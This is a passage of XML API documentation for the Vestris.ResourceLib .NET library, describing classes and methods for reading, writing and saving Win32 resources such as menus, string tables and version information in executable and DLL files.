name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.MenuId\">\n            <summary>\n            Command menu id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Read(System.IntPtr)\">\n            <summary>\n            Read a command menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItemPopup\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.#ctor\">\n            <summary>\n            A popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read a popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Resource\">\n            <summary>\n            A version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._language\">\n            <summary>\n            Resource language.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hModule\">\n            <summary>\n            Loaded binary nodule.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._hResource\">\n            <summary>\n            Pointer to the resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Resource._size\">\n            <summary>\n            Resource size.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Size\">\n            <summary>\n            Version resource size in bytes.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Language\">\n            <summary>\n            Language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Type\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.TypeName\">\n            <summary>\n            String representation of the resource type.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Resource.Name\">\n            <summary>\n            Resource name.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor\">\n            <summary>\n            A new resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LockAndReadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Lock and read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">An executable (.exe or .dll) file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.LoadFrom(System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Load a resource from an executable (.exe or .dll) module.\n            </summary>\n            <param name=\"hModule\">An executable (.exe or .dll) module.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a memory stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.WriteAndGetBytes\">\n            <summary>\n            Return resource data.\n            </summary>\n            <returns>Resource data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String)\">\n            <summary>\n            Save a resource.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"langid\">Language id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.DeleteFrom(System.String)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Delete(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Byte[])\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n            <param name=\"data\">Resource data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Save(System.String,System.Collections.Generic.IEnumerable{Vestris.ResourceLib.Resource})\">\n            <summary>\n            Save a batch of resources to a given file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"resources\">The resources to write.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceId\">\n            <summary>\n            A resource Id.\n            There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. \"CUSTOM\").\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.IntPtr)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer or string resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.UInt32)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A well-known resource-type identifier.\n            </summary>\n            <param name=\"value\">A well known resource type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.String)\">\n            <summary>\n            A custom resource identifier.\n            </summary>\n            <param name=\"value\"></param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Id\">\n            <summary>\n            Resource Id.\n            </summary>\n            <remarks>\n            If the resource Id is a string, it will be copied.\n            </remarks>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.TypeName\">\n            <summary>\n            String representation of a resource type name.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.ResourceType\">\n            <summary>\n            An enumerated resource type for built-in resource types only.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource(System.IntPtr)\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n            <param name=\"value\">Resource pointer.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Name\">\n            <summary>\n            Resource Id in a string format.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.ToString\">\n            <summary>\n            String representation of the resource Id.\n            </summary>\n            <returns>Resource name.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.GetHashCode\">\n            <summary>\n            Resource Id hash code. \n            Resource Ids of the same type have the same hash code.\n            </summary>\n            <returns>Resource Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.Equals(System.Object)\">\n            <summary>\n            Compares two resource Ids by value.\n            </summary>\n            <param name=\"obj\">Resource Id.</param>\n            <returns>True if both resource Ids represent the same resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceInfo\">\n            <summary>\n            Resource info manager.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Resources\">\n            <summary>\n            A dictionary of resources, the key is the resource type, eg. \"REGISTRY\" or \"16\" (version).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.ResourceTypes\">\n            <summary>\n            A shortcut for available resource types.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.#ctor\">\n            <summary>\n            A new resource info.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Unload\">\n            <summary>\n            Unload the previously loaded module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Load(System.String)\">\n            <summary>\n            Load an executable or a DLL and read its resources.\n            </summary>\n            <param name=\"filename\">Source filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceTypesImpl(System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource types.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceNamesImpl(System.IntPtr,System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource names within a resource by type\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.CreateResource(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            Create a resource of a given type.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResourceGlobal\">Pointer to the resource in memory.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"size\">Size of resource.</param>\n            <returns>A specialized or a generic resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.IntPtr)\">\n            <summary>\n            Enumerate resource languages within a resource by name\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Save(System.String)\">\n            <summary>\n            Save resource to a file.\n            </summary>\n            <param name=\"filename\">Target filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Dispose\">\n            <summary>\n            Dispose resource info object.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(System.String)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.System#Collections#IEnumerable#GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceTableHeader\">\n            <summary>\n            A resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._header\">\n            <summary>\n            Resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Header\">\n            <summary>\n            Resource header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor\">\n            <summary>\n            A new resource table header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.String)\">\n            <summary>\n            An resource table header with a specific key.\n            </summary>\n            <param name=\"key\">resource key</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.IntPtr)\">\n            <summary>\n            An existing resource table.\n            </summary>\n            <param name=\"lpRes\">Pointer to resource table data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Read(System.IntPtr)\">\n            <summary>\n            Read the resource header, return a pointer to the end of it.\n            </summary>\n            <param name=\"lpRes\">Top of header.</param>\n            <returns>End of header, after the key, aligned at a 32 bit boundary.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource table.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString\">\n            <summary>\n            String representation.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString(System.Int32)\">\n            <summary>\n            String representation.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceUtil\">\n            <summary>\n            Resource utilities.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.Int64)\">\n            <summary>\n            Align an address to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.IntPtr)\">\n            <summary>\n            Align a pointer to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Pointer to an address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a WORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToDWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a DWORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.HiWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.LoWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.WriteAt(System.IO.BinaryWriter,System.Int64,System.Int64)\">\n            <summary>\n            Write a value at a given position.\n            Used to write a size of data in an earlier located header.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"value\">Value to write.</param>\n            <param name=\"address\">Address to write the value at.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Pad(System.IO.BinaryWriter,System.UInt16)\">\n            <summary>\n            Pad bytes.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"len\">Number of bytes to write.</param>\n            <returns>New position within the stream.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.NEUTRALLANGID\">\n            <summary>\n            Neutral language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.USENGLISHLANGID\">\n            <summary>\n            US-English language ID.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.MAKELANGID(System.Int32,System.Int32)\">\n            <summary>\n            Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits).\n            </summary>\n            <param name=\"primary\">Primary language ID.</param>\n            <param name=\"sub\">Sublanguage ID.</param>\n            <returns>Microsoft language ID.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PRIMARYLANGID(System.UInt16)\">\n            <summary>\n            Return the primary language ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID</param>\n            <returns>primary language ID (low-order 10 bits)</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.SUBLANGID(System.UInt16)\">\n            <summary>\n            Return the sublanguage ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID.</param>\n            <returns>Sublanguage ID (high-order 6 bits).</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.GetBytes``1(``0)\">\n            <summary>\n            Returns the memory representation of an object.\n            </summary>\n            <typeparam name=\"T\">Object type.</typeparam>\n            <param name=\"anything\">Data.</param>\n            <returns>Object's representation in memory.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToList``1(System.UInt32)\">\n            <summary>\n            Get a collection of flags from a flag value.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag value.</param>\n            <returns>Collection of flags.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToString``1(System.UInt32)\">\n            <summary>\n            Get a string representation of flags.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag vlaue</param>\n            <returns>String representation of flags in the f1 | ... | fn format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information that can be displayed for a particular language and code page.\n            http://msdn.microsoft.com/en-us/library/aa908808.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor\">\n            <summary>\n            A new string file-version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read an existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n            <returns>Pointer to the end of the string file-version resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string file-version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Default\">\n            <summary>\n            Default (first) string table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Item(System.String)\">\n            <summary>\n            Indexed string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>A string table at a given index.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of StringFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the StringFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringResource\">\n            <summary>\n            A string, RT_STRING resource.\n            Each string resource block has 16 strings, each represented as an ordered pair \n            (length, text). Length is a WORD that specifies the size, in terms of the number of characters, \n            in the text that follows. Text follows length and contains the string in Unicode without the \n            NULL terminating character. There may be no characters in text, in which case length is zero.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Strings\">\n            <summary>\n            String collection in this resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Item(System.UInt16)\">\n            <summary>\n            Returns a string of a given Id.\n            </summary>\n            <param name=\"id\">String Id.</param>\n            <returns>A string of a given Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor\">\n            <summary>\n            A new string resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.UInt16)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.GetBlockId(System.Int32)\">\n            <summary>\n            A string with ID, stringId, is located in the block with ID given by the following formula.\n            http://support.microsoft.com/kb/q196774/\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.BlockId\">\n            <summary>\n            String table block id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the strings.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Address of the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.ToString\">\n            <summary>\n            String representation of the strings resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains language \n            and code page formatting information for the strings. A code page is an ordered character set.\n            See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor\">\n            <summary>\n            A new string table.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.String)\">\n            <summary>\n            A new string table.\n            </summary>\n            <param name=\"key\">String table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the table.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Read(System.IntPtr)\">\n            <summary>\n            Read a string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Pointer to the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string table to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.LanguageID\">\n            <summary>\n            The four most significant digits of the key represent the language identifier.\n            Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits \n            specify the major language, and the high-order 6 bits specify the sublanguage.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.CodePage\">\n            <summary>\n            The four least significant digits of the key represent the code page for which the data is formatted.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Item(System.String)\">\n            <summary>\n            Returns an entry within the string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>An entry within the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.ToString(System.Int32)\">\n            <summary>\n            String 